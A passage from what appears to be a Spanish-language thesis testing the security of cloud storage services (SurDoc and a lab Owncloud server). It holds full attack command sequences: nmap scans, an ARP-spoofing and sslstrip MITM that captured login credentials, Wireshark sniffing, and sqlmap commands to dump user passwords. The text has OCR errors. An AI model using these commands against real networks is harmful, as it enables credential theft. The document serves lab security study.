de almacenamiento en la nube con fines académicos, de manera que al hacer las pruebas
pertinentes no se tuvieran problemas, pero todos los proveedores a excepcidon de SurDoc
notificaron que no era permitido el uso de sus servicios para pruebas, debido a que se
ponia en riesgo la seguridad en las cuentas de los usuarios registrados. Debido a la
respuesta negativa de algunos proveedores de nube se cred un servidor que ofreciera
servicios web para poder realizar en él las pruebas de seguridad, en particular con los
servicios de Owncloud.

3.2 Implementacion de un servidor web

Se utilizé una PC como servidor la cual tiene las siguientes caracteristicas: Lenovo
(ThinkCentre), M83 i3, memoria RAM de 8 GB, Disco duro de 1 Tera y sistema operativo
Centos 7 minimal. En el Anexo A, se describe el procedimiento completo para la
implementacién del servidor web [15].

Al terminar la instalacion de todos los servicios web se procedid a mover el servidor
dentro de una red protegida por un firewall PfSense. El objetivo principal de este firewall
es proveer un software que brinde la posibilidad de tener una red segura y facil de
configurar a través de un interfaz amigable con el usuario y que se pudiera instalar en
cualquier PC. Se trata de una solucién muy completa, que esta licenciada bajo BSD lo que
significa que es de libre distribucion. Este firewall estd ubicado en el laboratorio B-207,
plantel SLT de la Universidad Auténoma de la Ciudad de México, donde se realizaron las

pruebas de seguridad.

El servidor se establecié en la red DMZ (zona desmilitarizada), es decir que no es una zona
segura, que es usada habitualmente para ubicar servidores que es necesario que sean
accedidos desde fuera, por ejemplo: servidores de e-mail y servidores web, las politicas de
seguridad aplicadas a la DMZ son las siguientes:
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De la red externa hacia la DMz v

De la red externa hacia la red interna v

De la red interna hacia la DMZ

De la red interna hacia la red externa v

De la DMZ hacia la red interna v

De la DMZ hacia la red externa v

Tabla 3.2. Politica de seguridad aplicada en la DMZ.

Esta red se configuré por medio de la interface del firewall pfSense para redireccionar la
direccién IP del servidor y asi acceder a los servicios web externamente por medio de la
direccién IP 172.17.120.129 de la red WAN y la IP interna del servidor 192.168.2.4, ahora
ya en la DMZ, también se tiene la red interna donde se encuentran los equipos para las

pruebas de seguridad como se muestra en la figura 3.1

g g 5.0, Windows 8.1
192.168.1.122
Q) 9
5.0, Kali Lunux
192.168.1.121

LAN
192.168.1.1
- WAN . =
‘Q_p«‘ 172?53-139 | 3560-24PS
% & ’ ] 2 Fomy 2
Cloud-PT SWITCH PC-PT
UACM PC3

DMz
192.1658.2.4

Figura 3.1. Configuracion de la red del Laboratorio B-207.
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3.3 Instalacion de Kali Linux

Para la realizacion de las pruebas de seguridad, se instald la distribucién Kali Linux 2.0, es
una distribucidon basada en Back Track que es la versién antigua a Kali Linux, este sistema
operativo fue instalado en una PC con las siguientes caracteristicas: DELL (Optiplex 960),
windows Vista, intel core 2, memoria RAM de 2 GB y disco duro 40 GB.

Este sistema es apropiado para realizar las pruebas, porque estd hecho para pruebas de
penetracion (pentesting) y auditorias de seguridad con soporte multi-lenguaje para
entenderlo mejor, con mds de 300 herramientas, se adquiere de manera gratuita y cuenta
con un entorno de desarrollo seguro y software de cddigo abierto ya que esta disponible

para cualquier usuario, en la figura 3.2 se observa el entorno de Kali linux [16,17].

Figura 3.2. Sistema Operativo Kali Linux 2.0.

3.4 Diagnostico de vulnerabilidades con NMAP

En el primer escaneo se utilizd la herramienta NMAP predefinida en el sistema operativo
Kali Linux [18] que se utilizd para detectar vulnerabilidades en los dos servidores de nube
SurDoc y Owncloud. Esto se realizé por medio de algunos comandos de uso exclusivo de
esta herramienta mismos que se definen en la tabla 3.2.
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Descripcion Ejemplo

Da informacién sobre nmap 192.168.2.4
los puertos que estan

abiertos.
Permite no dejar nmap —sS
registros en el sistema 192.168.2.4

sobre el escaneo.

En caso de no tener la nmap
IP se realiza por medio Owncloud.com
del dominio.

Para ver si una red estd nmap PN

protegida por un 192.168.2.4
firewall.
Permite conocer si nmap —f -scipt vul

presenta alguna 192168.2.4

vulnerabilidad.
Brinda informacién nmap —v192.168.2.4
completa sobre el

€Sscaneo.

Las posibles respuestas que nos da un escaneo con NMAP, respecto a los puertos son las
siguientes:
e Abierto (open), quiere decir que la aplicaciéon en la maquina destino se encuentra
esperando conexiones o paquetes en ese puerto.
e Cerrado (closed), el puerto es accesible puesto que podria abrirse en cualquier
momento, pero no existe ninguna aplicaciéon escuchandolo.
e Filtrado (filtered), el paquete que se ha enviado ha sido filtrado por un firewall o
reglas del router, en este caso nmap no puede determinar si estd abierto o no.
e Sin filtrar (unfiltered), quiere decir que el puerto es accesible, pero nmap no es
capaz de determinar si esta abierto o cerrado.
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3.5 Diagnéstico de vulnerabilidades con NESSUS

Nessus es una herramienta de uso libre que provee de usuario y contrasefia, fue instalada
en el sistema Kali Linux para el segundo escaneo de vulnerabilidades, tiene una interface
sencilla y facil de manejar por lo que hace mas facil el analisis de la informacién ya que los
resultados que muestra estdn dados por porcentajes y colores dependiendo la
vulnerabilidad. Por ejemplo: baja-verde, media-amarillo, alta-roja e informacién-azul. En
cada una de estas etapas muestran el nombre y descripcién de la vulnerabilidad
encontrada y una posible solucién de la misma [19].

A continuacidn, se muestra la serie de pasos que se siguieron para realizar los escaneos:

1.- Abrir el programa Nessus en Kali Linux
2.- Iniciar el servicio a través de la terminal con el comando /etc/init.d/nessus start
3.- Se procede a iniciar sesiéon en Nessus con usuario y contrasefa, figura 3.3.

@ Nessus

home

ana

Figura 3.3. Inicio de sesion del programa NESSUS.

4.- Se podra observar un menu con distintas opciones, del cual se elegird “Basic Network
Scan”

5.- Direccionara a una nueva pagina donde se selecciona “New Scan”.

6.-Se observara una nueva ventana que cuenta con un formulario, en el cual se debe
colocar. Nombre, descripcion, ruta para guardar, direccion IP que se va a escanear.

10.- Al terminar de llenar los campos del formulario se selecciona “Save”.

11.- Para poder realizar el escaneo de la red se selecciona “play”

12.- El despliegue de resultados se obtiene seleccionando el escaneo realizado.
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3.6 Prueba MITM a Owncloud

La prueba MITM (Man in the Middle) se realizé con dos PC, las cuales estan conectadas a
una red LAN en el laboratorio B-207 de la Universidad Auténoma de la Ciudad de México,
plantel San Lorenzo Tezonco.

Se realizé el ataque de la siguiente manera: la PC1 que opera con Windows 8.1, dispone
de varios navegadores para conectarse al servidor web, pero en este caso se utilizé Google
Chrome para acceder a dicho servidor. La PC2 con el sistema operativo Kali Linux que va a
realizar el ataque MITM. El servidor web que se encuentra en la red DMZ cuenta con el
servicio de almacenamiento en la nube de Owncloud es al cual se accedera remotamente
para poder extraer informacién de autenticacion.

La PC1 (victima) se comunicara con el servidor web mediante el router mandando su
informacién personal al momento de llenar el formulario de autenticacidon para iniciar
sesion en Owncloud, esta comunicacion sera interceptada por la PC2 (atacante), el cual
“escuchara” el canal de comunicacion por medio del atague MITM.

Cabe mencionar que la conexion entre la PC1 (victima), la PC2 (atacante) y el router se
realizd a través de la red local. En la figura 3.4 se muestra la conexidn utilizada.

LAN
192.168.1.1

& F Wan
6, - |
S 172.17.120.129 ~ 5.0, Windows 8.1
Cloud-PT PC-PT 192,168.1.122
UaCM-1 (Victima)
g 192.165.2.4 Conexion Normal
Raa—r'd
rmag
Conexion MITM

PC-PT

S.Or.' 'Egli Lunux
192.168.1.121

Figura 3.4. Conexidn utilizada para prueba MITM.
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En este ataque el objetivo es que cuando la PC1 de la red local necesite intercambiar
informacién con el servidor, que puede estar o no en la misma red (en este caso en la red
DMZ), esta conexidn se vera alterada por la PC2 que es el atacante en Kali Linux que podrd
leer, insertar y modificar los paquetes transmitidos entre la PC1 y el servidor,
interceptando toda la informacion entre éstos dos equipos sin que estos se percaten de
una conexion alterada.

Para la realizacion de esta prueba se necesita una serie de instrucciones que utiliza el
atacante que se describen y explican a continuacion.

Echo: comando para activar el reenvid de paquetes.

Iptables: esta herramienta redirige el trafico ya sea del puerto 80 (http) o el puerto 443
(https); por ejemplo al puerto 8080 [10].

Envenenamiento ARP (Address Resolution Protocol): en espafiol significa protocolo de
resolucion de direcciones y trabaja en capa dos del modelo ISO/OSI. Asocian una direccidn
IP a una direccion fisica MAC. Su objetivo en esta prueba es el de enviar un paquete ARP
falso a la PC1 y al servidor donde la direccion MAC del otro equipo ha sido modificada y
reemplazada por la direccion del atacante que en este caso es la PC2 y asi cada vez que los
equipos intenten comunicarse, los paquetes seran enviados al atacante.

Sslistrip: también juega un papel importante en esta prueba ya que es capaz de descifrar el
trafico y enlaces http o https de forma transparente en una red engafando al servidor,
convirtiendo todo el https de una red en http donde la victima y el atacante se comunican
por medio de http, mientras que el atacante y el servidor con https con el certificado del
servidor, de modo que el atacante es capaz de ver todo el trafico en texto plano de la
victima ya que no esta cifrado.

Ettercap: es una herramienta que permite analizar el trafico que pasa por una red
colocando la tarjeta en modo promiscuo para ver las conexiones y el trafico entre dos
computadoras, y poder ver qué informacién intercambian ya que estos datos viajaran sin
encriptacién [20,8].
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3.6.1 Explicacion del ataque
En primer lugar se debe conocer la IP de la PC1 (victima), para esto se utilizd la
herramienta NMAP haciendo un escaneo de toda la red local en busca de host activos con

el siguiente comando ejecutado en la terminal:
nmap —-T4-A-v 192.168.1.*

Este desplegd informacion sobre la IP de la PC1, es decir, 192.168.1.122, por lo tanto se
pudo comprobar que pertenece a dicho equipo.
Ahora bien, se re-direccioné el trafico de la PC2 (atacante) hacia la victima activandolo de
la siguiente manera en la terminal:

echo 1 > /proc/sys/net/ipv4/ip_forward

Una vez activada, se configura iptables para poder filtrar los paquetes y redirigir todo el
trafico del puerto 80, al puerto de escucha que por defecto es 8080. En la terminal se
ejecuta el siguiente comando:

iptables —t nat —A PREROUTING —p tcp —destination-port 80 —j REDIRECT —to-port 8080

Teniendo todo el trafico redirigido hay que realizar el envenenamiento ARP a la PC1
(victima) utilizando su direccién IP junto con la direccion IP del gateway ejecutando el
siguiente comando en la terminal:

arpspoof —i ethl —t 192.168.1.122(victima) 192.168.1.254(gateway)

En caso de no saber cudl es la IP del gateway se ejecuta el siguiente comando:
netstat —nr

Después de esperar unos segundos se efectud el envenenamiento y fue necesario abrir
una nueva terminal para ejecutar el comando:
sslstrip —| 8080

Para comenzar la conversidon de https a http. En otra nueva terminal se ejecuta el
comando:
ettercap —T—q —i eth1

Ahora bien, dirigirse al navegador por medio de la PC1 (victima) accediendo al primer sitio
web que es el servidor de nube con direcciéon https://192.168.2.4/owncloud, mediante el
uso de una autenticacién de usuario y contrasefa.
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Por otro lado, en la PC2 (atacante) podremos ver que en la terminal de sslstrip nos
informa sobre las peticiones que se estdn realizando durante la conexién y finalmente en
la terminal de ettercap es donde visualizamos la informacidn en texto plano, en este caso
se obtuvieron los usuarios y contrasefias de Hotmail para la cuenta de Surdoc y de nuestro
servidor Owncloud. En el capitulo 4 se muestran los resultados obtenidos de este ataque.

En la tabla 3.4 se recopilan los pasos para la realizacion del ataque MITM.

nmap -T4-A—v 192.168.1.*

echo 1> /proc/sys/net/ipv4/ip_forward

iptables —t nat —A PREROUTING —p tcp —destination-
port 80 —j REDIRECT —to-port 8080

4 | netstat —nr (para obtener informacion sobre el Terminal 1
Ataque Gateway)

MITM 5 | arpspoof —i ethl —t 192.168.1.122(victima)
192.168.1.254(router)

6 | ssistrip —1 8080
Terminal 2

7 | ettercap —T—q —i eth1
Terminal 3

Tabla 3.4. Comandos para realizar ataque MITM.

3.7 Prueba de seguridad y analisis con Wireshark realizado en el servicio
Owncloud

Se realizd la prueba para verificar la seguridad en la transferencia de datos de una
terminal al servidor.

Las configuraciones, elementos y herramientas para esta prueba son:
e Configuracién espejo en el switch Summit x440-24p del laboratorio B-207
e PC1 (victima) Windows 8.1
e PC2 (sniffer) Kali Linux 2.0
e Wireshark
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Para poder interceptar los datos enviados hacia los servidores de nube, fue necesario
hacer una configuracidon en el switch extreme networks summit x440-24p denominada
puerto mirroring traducido al espafiol “puerto espejo” [21]. Lo que esta configuracién
hace, es basicamente un espejo del puerto para que todo el trafico que estd pasando por
un puerto se comunique como si estuviera pasando en otro puerto también.

En esta prueba la PC1 (victima), estd conectada al puerto 5 del switch y la PC2 (sniffer),
estd conectada al puerto 6 del switch, badsicamente la instruccidn que se le dara al switch
es: selecciona el puerto 6, como el puerto espejo y envia todo el trafico que entre o salga
del puerto 5, al puerto espejo, es decir, todo el trafico que pase por la PC1 lo vera
exactamente igual la PC2. Cabe mencionar que se pueden seleccionar hasta 8 puertos

espejo.

Para realizar la configuracién se necesita hacer una comunicacion serial con el switch, en
este caso se hizo mediante una Hyper Terminal®, que por lo general se encuentra en
Windows XP, el proceso de configuracién es el siguiente:

1.- Se configura la conexidn con los siguientes parametros:
v’ Bits por segundo: 9600
v’ Bits de datos: 8
v Paridad: ninguno
v’ Bits de parada:1
v Control de flujo: ninguno
2.-En la parte inferior de la pantalla indicard que ya esta conectado y se puede acceder al
switch con un login y password.
3.-Para activar el puerto mirroring, se ejecutan los siguientes comandos
switchb207# enable mirroring to port 6
Habilitar el reflejo del puerto 6 como salida.
switchb207#config mirroring add port 5
Agregar el puerto 5 ala configuracion espejo.

® La Hyper Terminal, se utiliza para hacer conexiones telnet por medio de los puertos serie, por ejemplo:
COM1, con dispositivos externos.
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En la figura 3.5 se muestra la configuracién empleada en el switch.

Switch Summit x440-24p del
laboratorio B-207

D PC1 {victima)  Servidorweh
Windows 8.1

PC2 (sniffer) Wireshark
Kali Lirux

Figura 3.5. Configuracion del puerto mirroring.

La herramienta utilizada para interceptar los datos fue Wireshark, su objetivo principal es
analizar trafico, asi mismo tiene una gama de filtros que facilita los criterios de busqueda
donde actualmente se soportan aproximadamente 1100 protocolos, la interface que
maneja es sencilla y facil de manejar ya que permite desglosar cada uno de los paquetes
capturados.

Los datos que viajan durante la conexién realizada son de protocolo Hypertext Transfer
Protocol (http), traducido al espafiol como protocolo de transferencia de hipertexto, que
es un protocolo estandar para la web (cliente-servidor), lo cual significa que hace
intercambios de informacidn entre los clientes web y los servidores http.

Para interceptar los datos durante la trasferencia al servidor de nube Owncloud se realizé
un analisis con archivos como: imagen JPEG, texto plano, PDF y autenticacién ya que la
mayoria de estos archivos deberian viajar encriptados hacia su destino pero en esta
prueba se comprobd que con un sniffer basico, en este caso wireshark se pueden
interceptar los datos [22,10].

En primer lugar se inicid la herramienta wireshark desde la PC2 (sniffer) mostrada en la
figura 3.6, la interface con la que se va a trabajar en este caso con la ethl1 con direccion IP
192.168.1.121 vy al seleccionar start queda guardada la direccién como se muestra en la
figura 3.7.
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File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

©® 4 m = Q EE] O @EMEX

Filter: v | Expression... Clea Apply Guardar

/L The world's Most Popular Network Protocol Analyzer
WIRESHARK version1.106 (v1.10.6 from master-1.10)

 Files ___J ______ Online |
_Interface List = Open o Website
€ Live list of the capture interfaces Open a previously captured file Visit the project’s website
(counts incoming packets)
Open Recent: e User‘s Guide
4 Start The User's Guide (online version)
Choose one or more interFaces to capture from, then Start ® Sample Captures )
etho Avrich assortment of example capture files on the wiki @ Secunty
#Inflog Work with Wireshark as securely as possible
@ nfqueue
#lany

ElLaonhack: In

@® Capture Options

~ Startacapture with detailed options

Capture Help

Ready to load or capture No Packets Profile: Default

Figura 3.6. Interface inicial de Wireshark.

Wireshark: Capture Interfaces 000

B

Device  Description P Packets Packets/s
0 i ethl 1921681121 66 1 -
O gl any none 66 1

Ayuda Start Sto Options | Cerrar |
| s | s | oo | [

Figura 3.7. Eleccion de la interface.

A continuacién, por medio de la PC1 (victima) se accedio al servidor de nube Owncloud
donde se cargaron dos archivos en texto plano con el siguiente contenido:
» Archivo 1: prueba.txt.
Contenido: hola mundo
» Archivo 2: cuento.txt.
Contenido: Al atardecer, llegaron los duefios de la casa. Eran siete enanitos que
trabajaban en unas minas. Se quedaron admirados al descubrir a Blancanieves. Ella les
conto toda su triste historia y los enanitos la abrazaron y suplicaron a la nifia que se
quedase con ellos. Blancanieves aceptd y se quedd a vivir con ellos. Eran felices.’

9 . . . o . .
Fragmento del cuento infantil Blancanieves tomado de Cuentos infantiles para leer online
www.muchoscuentos.jimdo.com.
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Los archivos en la interface de wireshark se interceptan capturando paquetes de
protocolos, de acuerdo a su transmision, que van desde los protocolos ARP, ICMP, TCP,
EDP, SSDP, entre otros, hasta llegar a los protocolos http que son los que nos interesan ya
gue la transferencia de archivos en este caso se hizo cliente-servidor y es el protocolo que
se utiliza mediante un cliente web y un servidor http.

En la figura 3.8, se muestra un ejemplo de los paquetes que captura wireshark con
algunos protocolos.

File Edit View Go Capture Analyze 5Statistics Telephony Tools Intermals Help

Q@AM a D% Qe«» 7 3% Qaaflf MME= @

Filter: Expression... Clear Apply Guardar

No. Time Source Destination Protocol Length 'Info
Lo AR s | PTLL IR _@Ua s s D1 vaunas L i DU MU 183 LT, LU e Ll ISLL LZe. LUD. Lo
154 147.4052870 Tp-LinkT_aB:c2:7b Broadcast ARP 60 Who has 192.168.1.17 Tell 1892.168.1.254
155 148.4063750 Tp-LinkT_aB:c2:7b Broadcast ARP 60 Who has 192.168.1.17 Tell 1892.168.1.254
156 149.4071240 Tp-LinkT_aB:c2:7b Broadcast ARP 60 Who has 192.168.1.17 Tell 1892.168.1.254
157 150.3452400 30:5a:3a:47:be:00 Broadcast ARP 60 Who has 192.168.1.2547 Tell 192.168.1.122
158 150.3577330 feB80::4190:2c9:f70:9f ffo2::18 ICMPvE 90 Multicast Listensr Report Message v2 A
158 150.3733350 feB80::4190:2c9:f70:9f ffo2::18 ICMPvE 90 Multicast Listensr Report Message v2
160 150.3739550 feB0::4190:2c9:170:9f ff02::16 ICMPYE 90 Multicast Listensr Report Message v2
161 150.3739580 feB0::4190:2c9:170:9f ff02::16 ICMPYE 90 Multicast Listensr Report Message v2
162 150.3752200 feB80::4190:2c9:f70:9f ff02::1:2 LLMNR 86 Standard query Ox0838 ANY uacmOg
163 150.3752350 192.168.1.122 224.0.0.252 LLMNR 66 Standard query Ox0838 ANY uacmOg
164 150.4249180 Tp-LinkT_a6:c2:7b Broadcast ARP 60 Who has 192.168.1.17 Tell 182.168.1.254
165 150.4890030 fe80::4190:2c9:f70:9f ff02::18 ICMPVE 90 Multicast Listensr Report Message v2
166 150.7850130 fe80::4190:2c9:f70:9f ff02::1:3 LLMNR 86 Standard guery Ox0638 ANY uacmOg8
167 150.7859180 192.168.1.122 224.0.0.252 LLMMR 66 Standard query OxOS838 ANY uacmog
168 151.4501020 Tp-LinkT_aB:c2:7b Broadcast ARP 60 Who has 192.168.1.17 Tell 1892.168.1.254
169 152.4509600 Tp-LinkT_aB:c2:7b Broadcast ARP 60 Who has 192.168.1.17 Tell 1892.168.1.254
170 153.4519680 Tp-LinkT_ag:c2:7b Broadcast ARP 60 Who has 192.168.1.17 Tell 192.168.1.254
171 154.4530500 Tp-LinkT_a8:c2:7b Broadcast ARP 60 Who has 192.168.1.17 Tell 192.168.1.254
172 155.4588170 Tp-LinkT_aG:c2:7b Broadcast ARP 60 Who has 192.168.1.17 Tell 192.168.1.254
173 156.4699630 Tp-LinkT_aB:c2:7b Broadcast ARP 60 Who has 192.168.1.17 Tell 192.168.1.254
174 157.4707010 Tp-LinkT_aB:c2:7b Broadcast ARP 60 Who has 192.168.1.17 Tell 182.168.1.254
175 158.4718510 Tp-LinkT_aB:c2:7b Broadcast ARP 60 Who has 192.168.1.17 Tell 182.168.1.254

» Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0

» Ethernet II, Src: Tp-LinkT_a6:c2:7b (e8:de:27:a6:c2:7b), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
» Address Resolution Protocol (request)

2000 ff ff ff ff ff ff eBde 27 a6 c27b 08 06 00 01  ........ L
J010 08 00 06 04 00 01 eB de 27 a6 c2 7b cO a8 01 fe  ........ o
0020 00 00 00 00 00 00 cO 38 0l 01 00 00 Q0 00 00 00  ....i.icee weveenas
o030 0o o0 00 00 00 00 o0 00 00 00 oo oo ool aLL L.

Figura 3.8. Captura de paquetes.

Para poder visualizar los protocolos se selecciona el cuadro rojo para detener la captura.
En la parte superior de la interface de wireshark se encuentra un campo que se llama
Filter el cual ayuda a filtrar los paquetes dependiendo del protocolo que se quiere analizar
mas a fondo. En este caso si se quisiera saber sobre los paquetes del cliente-servidor, se
detiene la captura de paquetes y se filtran sélo aquellos que son http.
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También se ejecutd la prueba con los siguientes archivos:
» Archivo 3 PDF: 100 soledad.pdf
Contenido: texto del libro Gabriel Garcia Marquez. “100 afios de Soledad”.
» Imagen JPEG: fondo-estrellas.jpg

Extraida de: www.astromia.com/universo/estrellavisible.htm

Cabe mencionar que al momento de hacer el filtraje se posicioné en el paquete a analizar
y con el botén derecho del mouse. Se elige la opcidon de Follow TCP stream que sirve para
visualizar el flujo de transporte de cada paquete y brinda la opcion de ver el contenido del
paquete en diferentes cédigos, logrando asi ver el contenido del paquete este caso fue
contenido en texto plano. En el capitulo de resultados se muestran las imagenes extraidas
de los paquetes y el contenido del mismo.

Se debe agregar que al igual que con el atague MITM, con wireshark se puede interceptar
el inicio de sesion a la pagina y asi obtener informacién de autenticacién del usuario.

3.8 Prueba SQL injection

Es una técnica donde un atacante crea o altera comandos SQL existentes para asi poder
acceder a la base de datos de un sitio web, exponer datos ocultos, sobrescribirlos o
ejecutar comandos en el servidor. Para poder realizar esta prueba se necesita tener una
pagina o portal web que sea susceptible a este ataque [11].

En el servicio de nube Owncloud fue donde se realizé esta prueba, el requisito para hacer
que el portal web sea susceptible o vulnerable a este ataque es inyectando cddigos SQL
para encontrar errores a través del uso de una comilla simple que es interpretada por SQL
como el inicio de una instruccién y que se envia por método GET haciéndolo de la
siguiente manera, cuando los datos son enviados por este método, los campos de un
formulario son incorporados a la URL, si se tuvieran 2 variables, por ejemplo, nombre y
edad, éstas son separadas por un &, por ejemplo
http://servidor.com/pagina.php?nombre=ana&edad=100, habra un limite de variables a
enviar sin embargo no se recomienda enviar informacién confidencial como contrasenas
por este método.
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Se probd poner al final de la URL la comilla simple junto al pardmetro que se estd
enviando a la base de datos y al ejecutarse la consulta se obtiene como resultado un error
de sintaxis SQL, lo que indica la no validaciéon de la sentencia y por lo tanto la
vulnerabilidad a este ataque.

Algunas sentencias que pueden servir para ver si la pagina web es vulnerable se muestran
en la tabla 3.4.

pagina.cl/search.php?id=NUMERO  pagina.cl/search.php?id=-1
pagina.cl/menu.php?act=NUMERO  pagina.cl/menu.php?act="2
pagina.cl/index.php?o0pc=NUMERO  pagina.cl/index.php?0pc=999999999999999999

Tabla 3.5. Ejemplos para ver la vulnerabilidad de una pagina web.

Para esta prueba se utilizd sglmap, una herramienta disponible en el sistema operativo
Kali Linux, que sirve para inyectar codigo sql, por asi decirlo, para tratar de entrar a la base
de datos de algun portal web. Cabe mencionar que este ataque no se hara manual, la
herramienta ya ejecuta por si sola el proceso de inyeccion.

El procedimiento es el siguiente: solicitarle a sqlmap que despliegue qué bases de datos
estd utilizando la pagina web a través del comando --dbs e indicando también la url —u.
Todo esto se ejecuta en la terminal de la siguiente manera:

sqlmap -u "https.//192.168.X.X/pagina web” --dbs

Con esto se tiene la base de datos. Para saber qué tablas tiene, se ejecuta lo siguiente:
sqlmap -u "https.//192.168.2.4/owncloud/index.php” -D nombredelabase —tables

Para saber las columnas, se ejecuta:
sqlmap -u "https.//192.168.2.4/owncloud/index.php” -D nombredelabase —T user —columns

Y por ultimo para ver la linea donde veremos los datos de autenticacion de los usuarios

registrados, se ejecuta:

sqglmap -u "https://192.168.2.4/owncloud/index.php” -D nombredelabase -T user —C
login,password —dump
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Cabe aclarar que las contrasenas desplegadas estaran encriptadas en codigo MD5 que es
una codificacién de 128 bits, representada tipicamente como un numero de 32 digitos
hexadecimal para lo cual ya existen convertidores en linea.

Hecho lo anterior, se prosiguid a evaluar si Owncloud era vulnerable con la siguiente
sentencia:
sqlmap -u "https://192.168.2.4/owncloud/index.php” --dbs

A pesar de que la herramienta sglmap ya realiza el proceso de inyeccién sgl por si solo al
ejecutarse la sentencia el proceso se terminaba antes de poder entrar a la base de datos,
mostrando un error que hacia referencia a que no se encontraban pardmetros para
realizar las pruebas en los datos proporcionados, mostrando también que el parametro
GET proporcionado es no inyectable.

Dado este hecho también se intentd probar la vulnerabilidad del portal de Owncloud de la
manera manual poniendo en la URL lo siguiente:
http://192.168.2.4/owncloud/index.php?catid=1’, teniendo como respuesta que el portal
web con esta sentencia carga de la misma manera, es decir aun poniendo el caracter de
comilla simple el portal no encuentra errores y sigue cargando la pagina de manera
normal pidiendo la autenticacién del usuario, esto quiere decir que Owncloud no es
vulnerable a ataques de sql inyeccién ya que por su seguridad no permite realizar este
tipo de sentencias para poder entrar a la base de datos, es por esta razén que la prueba
no fue concluida.
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CAPITULO 4

Resultados y discusion

Aqui se redacta los resultados obtenidos en las pruebas empleadas, en cada una de ellas
se describe el resultado con una imagen clara, haciendo mencién de algunas
recomendaciones generales que bien puede tomarse en cuenta al elegir un servicio de
almacenamiento o para la proteccion de los ataques que se realizaron, esto basado en la
literatura consultada y en las pruebas hechas.

4.1 Diagnostico de vulnerabilidades con NMAP

En la figura 4.1 incisos (a) y (b), se muestran los resultados obtenidos de los diagndsticos
de vulnerabilidades realizados al servidor de nube SurDoc. En el inciso (a), muestra 970
puertos cerrados, lo que significa que pueden ser accesibles en cualquier momento pero
no hay una aplicaciéon escuchandolos en este momento; 2 puertos abiertos, el 80 que es
para el protocolo http y el 443 que es para el protocolo https, lo que indica que la
maquina destino se encuentra esperando paquetes en estos puertos. Ademas se puede
observar en el inciso (b) que este servicio de nube no tiene vulnerabilidades, debido a la
seguridad en los servidores de SurDoc el servicio no tiene vulnerabilidad alguna al
momento del diagndstico.

40



Figura 4.1. Resultados del diagndstico nmap a Nube SurDoc

root@kali: /home/kalitesis

Archivo Editar Ver Buscar Terminal Ayuda

:~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for kalitesis:
:/home/kalitesis# nmap 38.99.81.76

Starting Nmap 6.49BETA4 ( https://nmap.org ] at 2005-08-06 15:59 PDT
Nmap scan report for 38.99.81.76

Host is up (0@.00028s latency) .

Not shown: 970 closed ports, 28 filtered ports

PORT STATE SERVICE

80/tcp open http

443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 106.12 seconds
:/home/kalitesis# |

(a). comando nmap 38.99.81.76

root@kali: /home/kalitesis

Archivo Editar Ver Buscar Terminal Ayuda

:/home/kalitesis# nmap -f --script vuln 38.99.81.76

Starting Nmap 6.49BETA4 ( https://nmap.org | at 2085-08-06 19:20 PDT
Pre-scan script results:

| broadcast-avahi-dos:

| Discovered hosts: I

| 192.168.1.114

| |After NULL UDP avahi packet DoS (CVE-2811-1002).

i_ Hosts are all up (not vulnerable).

(b). comando nmap —f —script vuln 38.99.81.76

Por otro lado, en las figura 4.2 incisos (a) y (b), se muestran los resultados obtenidos de los
diagndsticos realizados al servidor de nube Owncloud. El inciso (a), muestra 996 puertos
cerrados, de igual manera no hay una aplicacién escuchandololos, aun asi son accesibles
esos puertos; 4 puertos abiertos, el 80 que es para el protocolo http, el 443 que es para el
protocolo https, el 21 para protocolos ftp y por ultimo el 22 para protocolos ssh. Estos
puertos son accesibles ya que hay una aplicacidn escuchando y esperando recibir
paguetes en cualquier momento. Ademas se puede observar en el inciso (b) un despliegue
de informacién mas completa con un comando diferente (nmap —v) que muestra
informacién mas detallada, en este caso muestra los puertos sefialados anteriormente.
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Figura 4.2 Resultados de escaneo nmap a Nube Owncloud.

root@kali: /home/kalitesis

Archivo Editar Ver Buscar Terminal Ayuda

:/home/kalitesis# nmap 192.168.2.4

Starting Nmap 6.49BETAS ( https://nmap.org ) at 2016-03-09 07:29 CST
Nmap scan report for 192.168.2.4

Host is up (0.00077s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

80/tcp open http

443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 5.28 seconds
:/home/kalitesis# ]

(a). comando nmap 192.168.2.4

root@kali: fhome/kalitesis

Archivo Editar Ver Buscar Terminal Ayuda

:/home/kalitesis# nmap -v 192.168.2.4

Starting Mmap 6.49BETAS ( https://nmap.org ) at 2016-03-09 07:57 CST
Initiating Ping Scan at 07:57

Scanning 192.168.2.4 [4 ports]

Completed Ping Scan at 07:57, 0.07s elapsed (1 total hosts)
Initiating Parallel DMS resclution of 1 host. at G7:57

Completed Parallel DMNS resolution of 1 host. at 07:57, 0.0ls elapsed
Initiating SYN Stealth Scan at 07:57

Scanning 192.168.2.4 [1000 ports]

Discovered open port 22/tcp on 192.168.2.4

Discovered open port 443/tcp on 152.168.2.4

Discovered open port 80/tcp on 192.168.2.4

Discovered open port 21/tcp on 192.168.2.4

Completed SYN Stealth Scan at 07:57, 5.04s elapsed (1000 total ports)
Nmap scan report for 192.168.2.4

Host is up (0.00079s latency) .

hlot shown: 996 filfered ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

80/tcp open http

443/tcp open https

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 5.64 seconds

Raw packets sent: 1991 (87.580KB) | Rcwd: 15 (924E)
:/home/kalitesis# ||

(b). comando nmap -v 192.168.2.4
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Los resultados obtenidos con nmap fueron de gran apoyo para visualizar de una manera
mas directa el estado de los puertos que tenian las nubes, la informacidn proporcionada
es muy amplia y clara respecto a los puertos abiertos, puertos en servicio, si hay presencia
de un firewall y si presentan alguna vulnerabilidad en sus puertos. NMAP no es capaz de
determinar si un puerto realmente esta cerrado, debido a que si no existe una aplicacion
gue este escuchando el puerto aparecerd como filtrado o protegido por un firewall, esto
es porque no hay manera de escuchar el puerto por asi decirlo y lo que detecta NMAP
seria solo la proteccion que tiene al momento del diagnéstico.

4.2 Diagnostico de vulnerabilidades con NESSUS

A continuacion, se muestran los resultados de los diagnostico realizados a los servicios de

nube utilizando la herramienta NESSUS.

4.2.1 Resultados del diagnoéstico en SurDoc
